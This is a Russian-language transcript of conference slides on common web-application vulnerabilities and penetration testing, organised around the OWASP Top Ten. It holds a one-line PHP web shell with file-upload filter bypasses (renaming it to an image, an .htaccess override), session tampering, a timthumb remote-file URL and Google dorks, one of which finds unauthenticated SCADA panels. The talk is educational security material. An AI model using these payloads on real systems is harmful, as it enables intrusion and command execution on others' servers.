Белов наиболее часто уязвимые места в веб приложениях
TRANSCRIPT
Наиболее часто уязвимые моменты при разработке веб-
приложений
Сергей Белов
Тестирование на проникновение
«Пентест» - оценка безопасности конечного узла или ресурса средствами и методами злоумышленников
Цель — оценить возможность проникновения в систему и оценить угрозы
Примерый план:- анализ целевой системы- попытка эксплуатации уязвимостей- рекомендации по устранению
OWASP Top Ten (2010 Edition)
A1: Injection
A2: Cross-Site Scripting
(XSS)
A3: Broken Authentication
and Session Management
A4: Insecure Direct Object References
A5: Cross Site Request Forgery (CSRF)
A6: Security Misconfigur
ation
A7: Failure to Restrict URL Access
A8: Insecure Cryptographic Storage
A9: Insufficient Transport
Layer Protection
A10: Unvalidated
Redirects and Forwards
http://www.owasp.org/index.php/Top_10
Debug = True
Full Path Disclosure -> LFI, SQL inj (file_priv)System info
Directory indexing
Options +IndexesOptions -Indexes
Only Client-Side validation
XSS, Injection... ?
File UploadСитуация №1:Разрешены:
.jpg .jpeg .gif
Steps to reproduce1. Создаем shell.txt с содержимым:
<?php echo @`$_GET[c]` ?>2. Переименовываем в shell.jpg3. Заливаем
В случае успеха можно использовать при LFI –> CCE
File UploadСитуация №2:Запрещены:
.php .php3 .pl и т.д.
Steps to reproduce1. Создаем .htaccess с содержимым
AddType application/x-httpd-php .gif2. Заливаем .htaccess3. Создаем shell.txt с содержимым:
<?php echo @`$_GET[c]` ?>4. Переименовываем в shell.gif5. Заливаем shell.gif6. Обращаемся к своему файлу shell.gif?c=uname –a
Получили custom comand execute
Broken Authentication and Session Management
1. Ставим firebug + firecookie2. Меняем данные в сессии
• login = adminuser• user_id = 1• is_admin = true• admin = true• user_level = 10+
Ajax
Embedded-content• Загрузка удаленных файлов/изображений • Установка аватар/логотипов с других доменов
Пример (Wordpress Plugin timthumb.php)
http://SERVER/WP_PATH/wp-content/plugins/category-grid-view-gallery/includes/timthumb.php?src=MALICIOUS_URL
Outdated modules
Проверка:
1. Берем название CMS2. Анализируем/узнаем список модулей (с версиями)3. Проверяем наличие публичных эксплойтов
(1337day.com, exploit-db.com)
http://www.exploit-db.com/searchhttp://1337day.com/search
Google DORK• site:site.com filetype:sql• site:site.com filetype:backup
• site:site.com inurl:/restore/
• Живой пример (управление SCADA без авторизации) inurl:/plc/webvisu.htm
(from ZeroNights)
http://googledork.com/
Live demo...
Вопросы?